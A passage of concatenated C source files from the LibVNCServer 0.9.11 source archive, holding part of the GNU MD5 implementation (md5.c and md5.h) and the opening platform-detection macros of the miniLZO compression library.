void md5_process_block (const void *buffer, size_t len, struct md5_ctx *ctx); /* This array contains the bytes used to pad the buffer to the next 64-byte boundary. (RFC 1321, 3.1: Step 1) */ static const unsigned char fillbuf[64] = { 0x80, 0 /* , 0, 0, ... */ }; /* Initialize structure containing state of computation. (RFC 1321, 3.3: Step 3) */ void md5_init_ctx (ctx) struct md5_ctx *ctx; { ctx->A = 0x67452301; ctx->B = 0xefcdab89; ctx->C = 0x98badcfe; ctx->D = 0x10325476; ctx->total[0] = ctx->total[1] = 0; ctx->buflen = 0; } /* Put result from CTX in first 16 bytes following RESBUF. The result must be in little endian byte order. IMPORTANT: On some systems it is required that RESBUF is correctly aligned for a 32 bits value. */ void * md5_read_ctx (ctx, resbuf) const struct md5_ctx *ctx; void *resbuf; { ((md5_uint32 *) resbuf)[0] = SWAP (ctx->A); ((md5_uint32 *) resbuf)[1] = SWAP (ctx->B); ((md5_uint32 *) resbuf)[2] = SWAP (ctx->C); ((md5_uint32 *) resbuf)[3] = SWAP (ctx->D); return resbuf; } /* Process the remaining bytes in the internal buffer and the usual prolog according to the standard and write the result to RESBUF. IMPORTANT: On some systems it is required that RESBUF is correctly aligned for a 32 bits value. */ void * md5_finish_ctx (ctx, resbuf) struct md5_ctx *ctx; void *resbuf; { /* Take yet unprocessed bytes into account. */ md5_uint32 bytes = ctx->buflen; size_t pad; /* Now count remaining bytes. */ ctx->total[0] += bytes; if (ctx->total[0] < bytes) ++ctx->total[1]; pad = bytes >= 56 ? 64 + 56 - bytes : 56 - bytes; memcpy (&ctx->buffer[bytes], fillbuf, pad); /* Put the 64-bit file length in *bits* at the end of the buffer. */ *(md5_uint32 *) &ctx->buffer[bytes + pad] = SWAP (ctx->total[0] << 3); *(md5_uint32 *) &ctx->buffer[bytes + pad + 4] = SWAP ((ctx->total[1] << 3) | (ctx->total[0] >> 29)); /* Process last bytes. */ md5_process_block (ctx->buffer, bytes + pad + 8, ctx); return md5_read_ctx (ctx, resbuf); } /* Compute MD5 message digest for bytes read from STREAM. The resulting message digest number will be written into the 16 bytes beginning at RESBLOCK. */ int md5_stream (stream, resblock) FILE *stream; void *resblock; { /* Important: BLOCKSIZE must be a multiple of 64. */ #define BLOCKSIZE 4096 struct md5_ctx ctx; char buffer[BLOCKSIZE + 72]; size_t sum; /* Initialize the computation context. */ md5_init_ctx (&ctx); /* Iterate over full file contents. */ while (1) { /* We read the file in blocks of BLOCKSIZE bytes. One call of the computation function processes the whole buffer so that with the next round of the loop another block can be read. */ size_t n; sum = 0; /* Read block. Take care for partial reads. */ do { n = fread (buffer + sum, 1, BLOCKSIZE - sum, stream); sum += n; } while (sum < BLOCKSIZE && n != 0); if (n == 0 && ferror (stream)) return 1; /* If end of file is reached, end the loop. */ if (n == 0) break; /* Process buffer with BLOCKSIZE bytes. Note that BLOCKSIZE % 64 == 0 */ md5_process_block (buffer, BLOCKSIZE, &ctx); } /* Add the last bytes if necessary. */ if (sum > 0) md5_process_bytes (buffer, sum, &ctx); /* Construct result in desired memory. */ md5_finish_ctx (&ctx, resblock); return 0; } /* Compute MD5 message digest for LEN bytes beginning at BUFFER. The result is always in little endian byte order, so that a byte-wise output yields to the wanted ASCII representation of the message digest. */ void * md5_buffer (buffer, len, resblock) const char *buffer; size_t len; void *resblock; { struct md5_ctx ctx; /* Initialize the computation context. */ md5_init_ctx (&ctx); /* Process whole buffer but last len % 64 bytes. */ md5_process_bytes (buffer, len, &ctx); /* Put result in desired memory area. */ return md5_finish_ctx (&ctx, resblock); } void md5_process_bytes (buffer, len, ctx) const void *buffer; size_t len; struct md5_ctx *ctx; { /* When we already have some bits in our internal buffer concatenate both inputs first. */ if (ctx->buflen != 0) { size_t left_over = ctx->buflen; size_t add = 128 - left_over > len ? len : 128 - left_over; memcpy (&ctx->buffer[left_over], buffer, add); ctx->buflen += add; if (ctx->buflen > 64) { md5_process_block (ctx->buffer, ctx->buflen & ~63, ctx); ctx->buflen &= 63; /* The regions in the following copy operation cannot overlap. */ memcpy (ctx->buffer, &ctx->buffer[(left_over + add) & ~63], ctx->buflen); } buffer = (const char *) buffer + add; len -= add; } /* Process available complete blocks. */ if (len >= 64) { #if !_STRING_ARCH_unaligned /* To check alignment gcc has an appropriate operator. Other compilers don't. */ # if __GNUC__ >= 2 # define UNALIGNED_P(p) (((md5_uintptr) p) % __alignof__ (md5_uint32) != 0) # else # define UNALIGNED_P(p) (((md5_uintptr) p) % sizeof (md5_uint32) != 0) # endif if (UNALIGNED_P (buffer)) while (len > 64) { md5_process_block (memcpy (ctx->buffer, buffer, 64), 64, ctx); buffer = (const char *) buffer + 64; len -= 64; } else #endif { md5_process_block (buffer, len & ~63, ctx); buffer = (const char *) buffer + (len & ~63); len &= 63; } } /* Move remaining bytes in internal buffer. */ if (len > 0) { size_t left_over = ctx->buflen; memcpy (&ctx->buffer[left_over], buffer, len); left_over += len; if (left_over >= 64) { md5_process_block (ctx->buffer, 64, ctx); left_over -= 64; memcpy (ctx->buffer, &ctx->buffer[64], left_over); } ctx->buflen = left_over; } } /* These are the four functions used in the four steps of the MD5 algorithm and defined in the RFC 1321. The first function is a little bit optimized (as found in Colin Plumbs public domain implementation). */ /* #define FF(b, c, d) ((b & c) | (~b & d)) */ #define FF(b, c, d) (d ^ (b & (c ^ d))) #define FG(b, c, d) FF (d, b, c) #define FH(b, c, d) (b ^ c ^ d) #define FI(b, c, d) (c ^ (b | ~d)) /* Process LEN bytes of BUFFER, accumulating context into CTX. It is assumed that LEN % 64 == 0. */ void md5_process_block (buffer, len, ctx) const void *buffer; size_t len; struct md5_ctx *ctx; { md5_uint32 correct_words[16]; const md5_uint32 *words = buffer; size_t nwords = len / sizeof (md5_uint32); const md5_uint32 *endp = words + nwords; md5_uint32 A = ctx->A; md5_uint32 B = ctx->B; md5_uint32 C = ctx->C; md5_uint32 D = ctx->D; /* First increment the byte count. RFC 1321 specifies the possible length of the file up to 2^64 bits. Here we only compute the number of bytes. Do a double word increment. */ ctx->total[0] += len; if (ctx->total[0] < len) ++ctx->total[1]; /* Process all bytes in the buffer with 64 bytes in each round of the loop. */ while (words < endp) { md5_uint32 *cwp = correct_words; md5_uint32 A_save = A; md5_uint32 B_save = B; md5_uint32 C_save = C; md5_uint32 D_save = D; /* First round: using the given function, the context and a constant the next context is computed. Because the algorithms processing unit is a 32-bit word and it is determined to work on words in little endian byte order we perhaps have to change the byte order before the computation. To reduce the work for the next steps we store the swapped words in the array CORRECT_WORDS. */ #define OP(a, b, c, d, s, T) \ do \ { \ a += FF (b, c, d) + (*cwp++ = SWAP (*words)) + T; \ ++words; \ CYCLIC (a, s); \ a += b; \ } \ while (0) /* It is unfortunate that C does not provide an operator for cyclic rotation. Hope the C compiler is smart enough. */ #define CYCLIC(w, s) (w = (w << s) | (w >> (32 - s))) /* Before we start, one word to the strange constants. They are defined in RFC 1321 as T[i] = (int) (4294967296.0 * fabs (sin (i))), i=1..64 */ /* Round 1. */ OP (A, B, C, D, 7, 0xd76aa478); OP (D, A, B, C, 12, 0xe8c7b756); OP (C, D, A, B, 17, 0x242070db); OP (B, C, D, A, 22, 0xc1bdceee); OP (A, B, C, D, 7, 0xf57c0faf); OP (D, A, B, C, 12, 0x4787c62a); OP (C, D, A, B, 17, 0xa8304613); OP (B, C, D, A, 22, 0xfd469501); OP (A, B, C, D, 7, 0x698098d8); OP (D, A, B, C, 12, 0x8b44f7af); OP (C, D, A, B, 17, 0xffff5bb1); OP (B, C, D, A, 22, 0x895cd7be); OP (A, B, C, D, 7, 0x6b901122); OP (D, A, B, C, 12, 0xfd987193); OP (C, D, A, B, 17, 0xa679438e); OP (B, C, D, A, 22, 0x49b40821); /* For the second to fourth round we have the possibly swapped words in CORRECT_WORDS. Redefine the macro to take an additional first argument specifying the function to use. */ #undef OP #define OP(f, a, b, c, d, k, s, T) \ do \ { \ a += f (b, c, d) + correct_words[k] + T; \ CYCLIC (a, s); \ a += b; \ } \ while (0) /* Round 2. */ OP (FG, A, B, C, D, 1, 5, 0xf61e2562); OP (FG, D, A, B, C, 6, 9, 0xc040b340); OP (FG, C, D, A, B, 11, 14, 0x265e5a51); OP (FG, B, C, D, A, 0, 20, 0xe9b6c7aa); OP (FG, A, B, C, D, 5, 5, 0xd62f105d); OP (FG, D, A, B, C, 10, 9, 0x02441453); OP (FG, C, D, A, B, 15, 14, 0xd8a1e681); OP (FG, B, C, D, A, 4, 20, 0xe7d3fbc8); OP (FG, A, B, C, D, 9, 5, 0x21e1cde6); OP (FG, D, A, B, C, 14, 9, 0xc33707d6); OP (FG, C, D, A, B, 3, 14, 0xf4d50d87); OP (FG, B, C, D, A, 8, 20, 0x455a14ed); OP (FG, A, B, C, D, 13, 5, 0xa9e3e905); OP (FG, D, A, B, C, 2, 9, 0xfcefa3f8); OP (FG, C, D, A, B, 7, 14, 0x676f02d9); OP (FG, B, C, D, A, 12, 20, 0x8d2a4c8a); /* Round 3. */ OP (FH, A, B, C, D, 5, 4, 0xfffa3942); OP (FH, D, A, B, C, 8, 11, 0x8771f681); OP (FH, C, D, A, B, 11, 16, 0x6d9d6122); OP (FH, B, C, D, A, 14, 23, 0xfde5380c); OP (FH, A, B, C, D, 1, 4, 0xa4beea44); OP (FH, D, A, B, C, 4, 11, 0x4bdecfa9); OP (FH, C, D, A, B, 7, 16, 0xf6bb4b60); OP (FH, B, C, D, A, 10, 23, 0xbebfbc70); OP (FH, A, B, C, D, 13, 4, 0x289b7ec6); OP (FH, D, A, B, C, 0, 11, 0xeaa127fa); OP (FH, C, D, A, B, 3, 16, 0xd4ef3085); OP (FH, B, C, D, A, 6, 23, 0x04881d05); OP (FH, A, B, C, D, 9, 4, 0xd9d4d039); OP (FH, D, A, B, C, 12, 11, 0xe6db99e5); OP (FH, C, D, A, B, 15, 16, 0x1fa27cf8); OP (FH, B, C, D, A, 2, 23, 0xc4ac5665); /* Round 4. */ OP (FI, A, B, C, D, 0, 6, 0xf4292244); OP (FI, D, A, B, C, 7, 10, 0x432aff97); OP (FI, C, D, A, B, 14, 15, 0xab9423a7); OP (FI, B, C, D, A, 5, 21, 0xfc93a039); OP (FI, A, B, C, D, 12, 6, 0x655b59c3); OP (FI, D, A, B, C, 3, 10, 0x8f0ccc92); OP (FI, C, D, A, B, 10, 15, 0xffeff47d); OP (FI, B, C, D, A, 1, 21, 0x85845dd1); OP (FI, A, B, C, D, 8, 6, 0x6fa87e4f); OP (FI, D, A, B, C, 15, 10, 0xfe2ce6e0); OP (FI, C, D, A, B, 6, 15, 0xa3014314); OP (FI, B, C, D, A, 13, 21, 0x4e0811a1); OP (FI, A, B, C, D, 4, 6, 0xf7537e82); OP (FI, D, A, B, C, 11, 10, 0xbd3af235); OP (FI, C, D, A, B, 2, 15, 0x2ad7d2bb); OP (FI, B, C, D, A, 9, 21, 0xeb86d391); /* Add the starting values of the context. */ A += A_save; B += B_save; C += C_save; D += D_save; } /* Put checksum in context given as argument. */ ctx->A = A; ctx->B = B; ctx->C = C; ctx->D = D; } libvncserver-LibVNCServer-0.9.11/common/md5.h000066400000000000000000000122541303145525000207000ustar00rootroot00000000000000/* Declaration of functions and data types used for MD5 sum computing library functions. Copyright (C) 1995-1997,1999,2000,2001,2004,2005 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ #ifndef _MD5_H #define _MD5_H 1 #include #if defined HAVE_LIMITS_H || _LIBC # include #endif #define MD5_DIGEST_SIZE 16 #define MD5_BLOCK_SIZE 64 /* The following contortions are an attempt to use the C preprocessor to determine an unsigned integral type that is 32 bits wide. An alternative approach is to use autoconf's AC_CHECK_SIZEOF macro, but doing that would require that the configure script compile and *run* the resulting executable. Locally running cross-compiled executables is usually not possible. */ #ifdef _LIBC # include typedef uint32_t md5_uint32; typedef uintptr_t md5_uintptr; #else # if defined __STDC__ && __STDC__ # define UINT_MAX_32_BITS 4294967295U # else # define UINT_MAX_32_BITS 0xFFFFFFFF # endif /* If UINT_MAX isn't defined, assume it's a 32-bit type. This should be valid for all systems GNU cares about because that doesn't include 16-bit systems, and only modern systems (that certainly have ) have 64+-bit integral types. */ # ifndef UINT_MAX # define UINT_MAX UINT_MAX_32_BITS # endif # if UINT_MAX == UINT_MAX_32_BITS typedef unsigned int md5_uint32; # else # if USHRT_MAX == UINT_MAX_32_BITS typedef unsigned short md5_uint32; # else # if ULONG_MAX == UINT_MAX_32_BITS typedef unsigned long md5_uint32; # else /* The following line is intended to evoke an error. Using #error is not portable enough. */ "Cannot determine unsigned 32-bit data type." # endif # endif # endif /* We have to make a guess about the integer type equivalent in size to pointers which should always be correct. */ typedef unsigned long int md5_uintptr; #endif /* Structure to save state of computation between the single steps. */ struct md5_ctx { md5_uint32 A; md5_uint32 B; md5_uint32 C; md5_uint32 D; md5_uint32 total[2]; md5_uint32 buflen; char buffer[128] __attribute__ ((__aligned__ (__alignof__ (md5_uint32)))); }; /* * The following three functions are build up the low level used in * the functions `md5_stream' and `md5_buffer'. */ /* Initialize structure containing state of computation. (RFC 1321, 3.3: Step 3) */ extern void __md5_init_ctx (struct md5_ctx *ctx) __THROW; /* Starting with the result of former calls of this function (or the initialization function update the context for the next LEN bytes starting at BUFFER. It is necessary that LEN is a multiple of 64!!! */ extern void __md5_process_block (const void *buffer, size_t len, struct md5_ctx *ctx) __THROW; /* Starting with the result of former calls of this function (or the initialization function update the context for the next LEN bytes starting at BUFFER. It is NOT required that LEN is a multiple of 64. */ extern void __md5_process_bytes (const void *buffer, size_t len, struct md5_ctx *ctx) __THROW; /* Process the remaining bytes in the buffer and put result from CTX in first 16 bytes following RESBUF. The result is always in little endian byte order, so that a byte-wise output yields to the wanted ASCII representation of the message digest. IMPORTANT: On some systems it is required that RESBUF is correctly aligned for a 32 bits value. */ extern void *__md5_finish_ctx (struct md5_ctx *ctx, void *resbuf) __THROW; /* Put result from CTX in first 16 bytes following RESBUF. The result is always in little endian byte order, so that a byte-wise output yields to the wanted ASCII representation of the message digest. IMPORTANT: On some systems it is required that RESBUF is correctly aligned for a 32 bits value. */ extern void *__md5_read_ctx (const struct md5_ctx *ctx, void *resbuf) __THROW; /* Compute MD5 message digest for bytes read from STREAM. The resulting message digest number will be written into the 16 bytes beginning at RESBLOCK. */ extern int __md5_stream (FILE *stream, void *resblock) __THROW; /* Compute MD5 message digest for LEN bytes beginning at BUFFER. The result is always in little endian byte order, so that a byte-wise output yields to the wanted ASCII representation of the message digest. */ extern void *__md5_buffer (const char *buffer, size_t len, void *resblock) __THROW; #endif /* md5.h */ libvncserver-LibVNCServer-0.9.11/common/minilzo.c000066400000000000000000006106121303145525000216710ustar00rootroot00000000000000/* minilzo.c -- mini subset of the LZO real-time data compression library This file is part of the LZO real-time data compression library. Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer All Rights Reserved. The LZO library is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. The LZO library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with the LZO library; see the file COPYING. If not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Markus F.X.J. Oberhumer http://www.oberhumer.com/opensource/lzo/ */ /* * NOTE: * the full LZO package can be found at * http://www.oberhumer.com/opensource/lzo/ */ #define __LZO_IN_MINILZO 1 #if defined(LZO_CFG_FREESTANDING) # undef MINILZO_HAVE_CONFIG_H # define LZO_LIBC_FREESTANDING 1 # define LZO_OS_FREESTANDING 1 #endif #ifdef MINILZO_HAVE_CONFIG_H # include #endif #include #include #if defined(MINILZO_CFG_USE_INTERNAL_LZODEFS) #ifndef __LZODEFS_H_INCLUDED #define __LZODEFS_H_INCLUDED 1 #if defined(__CYGWIN32__) && !defined(__CYGWIN__) # define __CYGWIN__ __CYGWIN32__ #endif #if 1 && defined(__INTERIX) && defined(__GNUC__) && !defined(_ALL_SOURCE) # define _ALL_SOURCE 1 #endif #if defined(__mips__) && defined(__R5900__) # if !defined(__LONG_MAX__) # define __LONG_MAX__ 9223372036854775807L # endif #endif #if !defined(LZO_CFG_NO_DISABLE_WUNDEF) #if defined(__ARMCC_VERSION) # pragma diag_suppress 193 #elif defined(__clang__) && defined(__clang_minor__) # pragma clang diagnostic ignored "-Wundef" #elif defined(__INTEL_COMPILER) # pragma warning(disable: 193) #elif defined(__KEIL__) && defined(__C166__) # pragma warning disable = 322 #elif defined(__GNUC__) && defined(__GNUC_MINOR__) && !defined(__PATHSCALE__) # if ((__GNUC__-0) >= 5 || ((__GNUC__-0) == 4 && (__GNUC_MINOR__-0) >= 2)) # pragma GCC diagnostic ignored "-Wundef" # endif #elif defined(_MSC_VER) && !defined(__clang__) && !defined(__INTEL_COMPILER) && !defined(__MWERKS__) # if ((_MSC_VER-0) >= 1300) # pragma warning(disable: 4668) # endif #endif #endif #if 0 && defined(__POCC__) && defined(_WIN32) # if (__POCC__ >= 400) # pragma warn(disable: 2216) # endif #endif #if 0 && defined(__WATCOMC__) # if (__WATCOMC__ >= 1050) && (__WATCOMC__ < 1060) # pragma warning 203 9 # endif #endif #if defined(__BORLANDC__) && defined(__MSDOS__) && !defined(__FLAT__) # pragma option -h #endif #if !(LZO_CFG_NO_DISABLE_WCRTNONSTDC) #ifndef _CRT_NONSTDC_NO_DEPRECATE #define _CRT_NONSTDC_NO_DEPRECATE 1 #endif #ifndef _CRT_NONSTDC_NO_WARNINGS #define _CRT_NONSTDC_NO_WARNINGS 1 #endif #ifndef _CRT_SECURE_NO_DEPRECATE #define _CRT_SECURE_NO_DEPRECATE 1 #endif #ifndef _CRT_SECURE_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS 1 #endif #endif #if 0 #define LZO_0xffffUL 0xfffful #define LZO_0xffffffffUL 0xfffffffful #else #define LZO_0xffffUL 65535ul #define LZO_0xffffffffUL 4294967295ul #endif #define LZO_0xffffL LZO_0xffffUL #define LZO_0xffffffffL LZO_0xffffffffUL #if (LZO_0xffffL == LZO_0xffffffffL) # error "your preprocessor is broken 1" #endif #if (16ul * 16384ul != 262144ul) # error "your preprocessor is broken 2" #endif #if 0 #if (32767 >= 4294967295ul) # error "your preprocessor is broken 3" #endif #if (65535u >= 4294967295ul) # error "your preprocessor is broken 4" #endif #endif #if defined(__COUNTER__) # ifndef LZO_CFG_USE_COUNTER # define LZO_CFG_USE_COUNTER 1 # endif #else # undef LZO_CFG_USE_COUNTER #endif #if (UINT_MAX == LZO_0xffffL) #if defined(__ZTC__) && defined(__I86__) && !defined(__OS2__) # if !defined(MSDOS) # define MSDOS 1 # endif # if !defined(_MSDOS) # define _MSDOS 1 # endif #elif 0 && defined(__VERSION) && defined(MB_LEN_MAX) # if (__VERSION == 520) && (MB_LEN_MAX == 1) # if !defined(__AZTEC_C__) # define __AZTEC_C__ __VERSION # endif # if !defined(__DOS__) # define __DOS__ 1 # endif # endif #endif #endif #if defined(_MSC_VER) && defined(M_I86HM) && (UINT_MAX == LZO_0xffffL) # define ptrdiff_t long # define _PTRDIFF_T_DEFINED 1 #endif #if (UINT_MAX == LZO_0xffffL) # undef __LZO_RENAME_A # undef __LZO_RENAME_B # if defined(__AZTEC_C__) && defined(__DOS__) # define __LZO_RENAME_A 1 # elif defined(_MSC_VER) && defined(MSDOS) # if (_MSC_VER < 600) # define __LZO_RENAME_A 1 # elif (_MSC_VER < 700) # define __LZO_RENAME_B 1 # endif # elif defined(__TSC__) && defined(__OS2__) # define __LZO_RENAME_A 1 # elif defined(__MSDOS__) && defined(__TURBOC__) && (__TURBOC__ < 0x0410) # define __LZO_RENAME_A 1 # elif defined(__PACIFIC__) && defined(DOS) # if !defined(__far) # define __far far # endif # if !defined(__near) # define __near near # endif # endif # if defined(__LZO_RENAME_A) # if !defined(__cdecl) # define __cdecl cdecl # endif # if !defined(__far) # define __far far # endif # if !defined(__huge) # define __huge huge # endif # if !defined(__near) # define __near near # endif # if !defined(__pascal) # define __pascal pascal # endif # if !defined(__huge) # define __huge huge # endif # elif defined(__LZO_RENAME_B) # if !defined(__cdecl) # define __cdecl _cdecl # endif # if !defined(__far) # define __far _far # endif # if !defined(__huge) # define __huge _huge # endif # if !defined(__near) # define __near _near # endif # if !defined(__pascal) # define __pascal _pascal # endif # elif (defined(__PUREC__) || defined(__TURBOC__)) && defined(__TOS__) # if !defined(__cdecl) # define __cdecl cdecl # endif # if !defined(__pascal) # define __pascal pascal # endif # endif # undef __LZO_RENAME_A # undef __LZO_RENAME_B #endif #if (UINT_MAX == LZO_0xffffL) #if defined(__AZTEC_C__) && defined(__DOS__) # define LZO_BROKEN_CDECL_ALT_SYNTAX 1 #elif defined(_MSC_VER) && defined(MSDOS) # if (_MSC_VER < 600) # define LZO_BROKEN_INTEGRAL_CONSTANTS 1 # endif # if (_MSC_VER < 700) # define LZO_BROKEN_INTEGRAL_PROMOTION 1 # define LZO_BROKEN_SIZEOF 1 # endif #elif defined(__PACIFIC__) && defined(DOS) # define LZO_BROKEN_INTEGRAL_CONSTANTS 1 #elif defined(__TURBOC__) && defined(__MSDOS__) # if (__TURBOC__ < 0x0150) # define LZO_BROKEN_CDECL_ALT_SYNTAX 1 # define LZO_BROKEN_INTEGRAL_CONSTANTS 1 # define LZO_BROKEN_INTEGRAL_PROMOTION 1 # endif # if (__TURBOC__ < 0x0200) # define LZO_BROKEN_SIZEOF 1 # endif # if (__TURBOC__ < 0x0400) && defined(__cplusplus) # define LZO_BROKEN_CDECL_ALT_SYNTAX 1 # endif #elif (defined(__PUREC__) || defined(__TURBOC__)) && defined(__TOS__) # define LZO_BROKEN_CDECL_ALT_SYNTAX 1 # define LZO_BROKEN_SIZEOF 1 #endif #endif #if defined(__WATCOMC__) && (__WATCOMC__ < 900) # define LZO_BROKEN_INTEGRAL_CONSTANTS 1 #endif #if defined(_CRAY) && defined(_CRAY1) # define LZO_BROKEN_SIGNED_RIGHT_SHIFT 1 #endif #define LZO_PP_STRINGIZE(x) #x #define LZO_PP_MACRO_EXPAND(x) LZO_PP_STRINGIZE(x) #define LZO_PP_CONCAT0() /*empty*/ #define LZO_PP_CONCAT1(a) a #define LZO_PP_CONCAT2(a,b) a ## b #define LZO_PP_CONCAT3(a,b,c) a ## b ## c #define LZO_PP_CONCAT4(a,b,c,d) a ## b ## c ## d #define LZO_PP_CONCAT5(a,b,c,d,e) a ## b ## c ## d ## e #define LZO_PP_CONCAT6(a,b,c,d,e,f) a ## b ## c ## d ## e ## f #define LZO_PP_CONCAT7(a,b,c,d,e,f,g) a ## b ## c ## d ## e ## f ## g #define LZO_PP_ECONCAT0() LZO_PP_CONCAT0() #define LZO_PP_ECONCAT1(a) LZO_PP_CONCAT1(a) #define LZO_PP_ECONCAT2(a,b) LZO_PP_CONCAT2(a,b) #define LZO_PP_ECONCAT3(a,b,c) LZO_PP_CONCAT3(a,b,c) #define LZO_PP_ECONCAT4(a,b,c,d) LZO_PP_CONCAT4(a,b,c,d) #define LZO_PP_ECONCAT5(a,b,c,d,e) LZO_PP_CONCAT5(a,b,c,d,e) #define LZO_PP_ECONCAT6(a,b,c,d,e,f) LZO_PP_CONCAT6(a,b,c,d,e,f) #define LZO_PP_ECONCAT7(a,b,c,d,e,f,g) LZO_PP_CONCAT7(a,b,c,d,e,f,g) #define LZO_PP_EMPTY /*empty*/ #define LZO_PP_EMPTY0() /*empty*/ #define LZO_PP_EMPTY1(a) /*empty*/ #define LZO_PP_EMPTY2(a,b) /*empty*/ #define LZO_PP_EMPTY3(a,b,c) /*empty*/ #define LZO_PP_EMPTY4(a,b,c,d) /*empty*/ #define LZO_PP_EMPTY5(a,b,c,d,e) /*empty*/ #define LZO_PP_EMPTY6(a,b,c,d,e,f) /*empty*/ #define LZO_PP_EMPTY7(a,b,c,d,e,f,g) /*empty*/ #if 1 #define LZO_CPP_STRINGIZE(x) #x #define LZO_CPP_MACRO_EXPAND(x) LZO_CPP_STRINGIZE(x) #define LZO_CPP_CONCAT2(a,b) a ## b #define LZO_CPP_CONCAT3(a,b,c) a ## b ## c #define LZO_CPP_CONCAT4(a,b,c,d) a ## b ## c ## d #define LZO_CPP_CONCAT5(a,b,c,d,e) a ## b ## c ## d ## e #define LZO_CPP_CONCAT6(a,b,c,d,e,f) a ## b ## c ## d ## e ## f #define LZO_CPP_CONCAT7(a,b,c,d,e,f,g) a ## b ## c ## d ## e ## f ## g #define LZO_CPP_ECONCAT2(a,b) LZO_CPP_CONCAT2(a,b) #define LZO_CPP_ECONCAT3(a,b,c) LZO_CPP_CONCAT3(a,b,c) #define LZO_CPP_ECONCAT4(a,b,c,d) LZO_CPP_CONCAT4(a,b,c,d) #define LZO_CPP_ECONCAT5(a,b,c,d,e) LZO_CPP_CONCAT5(a,b,c,d,e) #define LZO_CPP_ECONCAT6(a,b,c,d,e,f) LZO_CPP_CONCAT6(a,b,c,d,e,f) #define LZO_CPP_ECONCAT7(a,b,c,d,e,f,g) LZO_CPP_CONCAT7(a,b,c,d,e,f,g) #endif #define __LZO_MASK_GEN(o,b) (((((o) << ((b)-!!(b))) - (o)) << 1) + (o)*!!(b)) #if 1 && defined(__cplusplus) # if !defined(__STDC_CONSTANT_MACROS) # define __STDC_CONSTANT_MACROS 1 # endif # if !defined(__STDC_LIMIT_MACROS) # define __STDC_LIMIT_MACROS 1 # endif #endif #if defined(__cplusplus) # define LZO_EXTERN_C extern "C" # define LZO_EXTERN_C_BEGIN extern "C" { # define LZO_EXTERN_C_END } #else # define LZO_EXTERN_C extern # define LZO_EXTERN_C_BEGIN /*empty*/ # define LZO_EXTERN_C_END /*empty*/ #endif #if !defined(__LZO_OS_OVERRIDE) #if (LZO_OS_FREESTANDING) # define LZO_INFO_OS "freestanding" #elif (LZO_OS_EMBEDDED) # define LZO_INFO_OS "embedded" #elif 1 && defined(__IAR_SYSTEMS_ICC__) # define LZO_OS_EMBEDDED 1 # define LZO_INFO_OS "embedded" #elif defined(__CYGWIN__) && defined(__GNUC__) # define LZO_OS_CYGWIN 1 # define LZO_INFO_OS "cygwin" #elif defined(__EMX__) && defined(__GNUC__) # define LZO_OS_EMX 1 # define LZO_INFO_OS "emx" #elif defined(__BEOS__) # define LZO_OS_BEOS 1 # define LZO_INFO_OS "beos" #elif defined(__Lynx__) # define LZO_OS_LYNXOS 1 # define LZO_INFO_OS "lynxos" #elif defined(__OS400__) # define LZO_OS_OS400 1 # define LZO_INFO_OS "os400" #elif defined(__QNX__) # define LZO_OS_QNX 1 # define LZO_INFO_OS "qnx" #elif defined(__BORLANDC__) && defined(__DPMI32__) && (__BORLANDC__ >= 0x0460) # define LZO_OS_DOS32 1 # define LZO_INFO_OS "dos32" #elif defined(__BORLANDC__) && defined(__DPMI16__) # define LZO_OS_DOS16 1 # define LZO_INFO_OS "dos16" #elif defined(__ZTC__) && defined(DOS386) # define LZO_OS_DOS32 1 # define LZO_INFO_OS "dos32" #elif defined(__OS2__) || defined(__OS2V2__) # if (UINT_MAX == LZO_0xffffL) # define LZO_OS_OS216 1 # define LZO_INFO_OS "os216" # elif (UINT_MAX == LZO_0xffffffffL) # define LZO_OS_OS2 1 # define LZO_INFO_OS "os2" # else # error "check your limits.h header" # endif #elif defined(__WIN64__) || defined(_WIN64) || defined(WIN64) # define LZO_OS_WIN64 1 # define LZO_INFO_OS "win64" #elif defined(__WIN32__) || defined(_WIN32) || defined(WIN32) || defined(__WINDOWS_386__) # define LZO_OS_WIN32 1 # define LZO_INFO_OS "win32" #elif defined(__MWERKS__) && defined(__INTEL__) # define LZO_OS_WIN32 1 # define LZO_INFO_OS "win32" #elif defined(__WINDOWS__) || defined(_WINDOWS) || defined(_Windows) # if (UINT_MAX == LZO_0xffffL) # define LZO_OS_WIN16 1 # define LZO_INFO_OS "win16" # elif (UINT_MAX == LZO_0xffffffffL) # define LZO_OS_WIN32 1 # define LZO_INFO_OS "win32" # else # error "check your limits.h header" # endif #elif defined(__DOS__) || defined(__MSDOS__) || defined(_MSDOS) || defined(MSDOS) || (defined(__PACIFIC__) && defined(DOS)) # if (UINT_MAX == LZO_0xffffL) # define LZO_OS_DOS16 1 # define LZO_INFO_OS "dos16" # elif (UINT_MAX == LZO_0xffffffffL) # define LZO_OS_DOS32 1 # define LZO_INFO_OS "dos32" # else # error "check your limits.h header" # endif #elif defined(__WATCOMC__) # if defined(__NT__) && (UINT_MAX == LZO_0xffffL) # define LZO_OS_DOS16 1 # define LZO_INFO_OS "dos16" # elif defined(__NT__) && (__WATCOMC__ < 1100) # define LZO_OS_WIN32 1 # define LZO_INFO_OS "win32" # elif defined(__linux__) || defined(__LINUX__) # define LZO_OS_POSIX 1 # define LZO_INFO_OS "posix" # else # error "please specify a target using the -bt compiler option" # endif #elif defined(__palmos__) # define LZO_OS_PALMOS 1 # define LZO_INFO_OS "palmos" #elif defined(__TOS__) || defined(__atarist__) # define LZO_OS_TOS 1 # define LZO_INFO_OS "tos" #elif defined(macintosh) && !defined(__ppc__) # define LZO_OS_MACCLASSIC 1 # define LZO_INFO_OS "macclassic" #elif defined(__VMS) # define LZO_OS_VMS 1 # define LZO_INFO_OS "vms" #elif (defined(__mips__) && 